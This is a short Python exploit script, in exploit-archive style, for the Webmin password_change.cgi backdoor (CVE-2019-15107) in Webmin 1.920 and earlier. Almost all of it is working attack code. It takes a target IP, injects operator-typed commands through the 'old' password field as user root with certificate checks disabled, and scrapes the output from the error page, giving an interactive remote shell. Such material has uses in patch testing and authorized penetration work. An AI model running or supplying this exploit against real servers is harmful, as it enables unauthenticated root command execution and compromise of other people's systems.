# Exploit Title: Webmin backdoor CVE-2019-15107 (RCE)
# Exploit author : chako
# Date: 2019-12-29
# Software Link: http://www.webmin.com/download.html (Webmin <= 1.920)
# Vuln Reported by: AkkuS 
# Original Post: https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
#                https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15107
#
# "Webmin installation must have Webmin -> Webmin Configuration -> Authentication -> 
# Password expiry policy set to Prompt users with expired passwords to enter a new one. 
# This option is not set by default, but if it is set, it allows remote code execution."
# ---- ( https://www.virtualmin.com/node/66890 )

#!/usr/bin/python
import requests
import sys
import re 

#target = "https://192.168.1.84:10000/password_change.cgi"

if len(sys.argv)>=2:
    target = "https://"+sys.argv[1]+":10000/password_change.cgi"
    cmd = raw_input("Command># ") 
else:
    print "\nUsage: python .\webmin.py [Target IP]\n"
    exit()

while cmd != "exit" :
    client = requests.session()
    requests.packages.urllib3.disable_warnings()
    payload = {'user':'root','pam':'','expired':'2','expired':'2','old':cmd,'new1':'opgg','new2':'opgg'}
    response = client.post(target, verify=False, data=payload,headers=dict(Referer=target))
	
    if response.ok:	    
		x = re.search("(is incorrect)(.*)<\/h3><\/center>", response.text.encode("utf-8"), flags=re.DOTALL)
		if (x):
		    print x.group().replace("</h3></center>","").replace("is incorrect","")
		else:
		    print("No match")
    else:
        print "error code --> ",response.status_code
		
    cmd = raw_input("Command># ") 
    print cmd
	
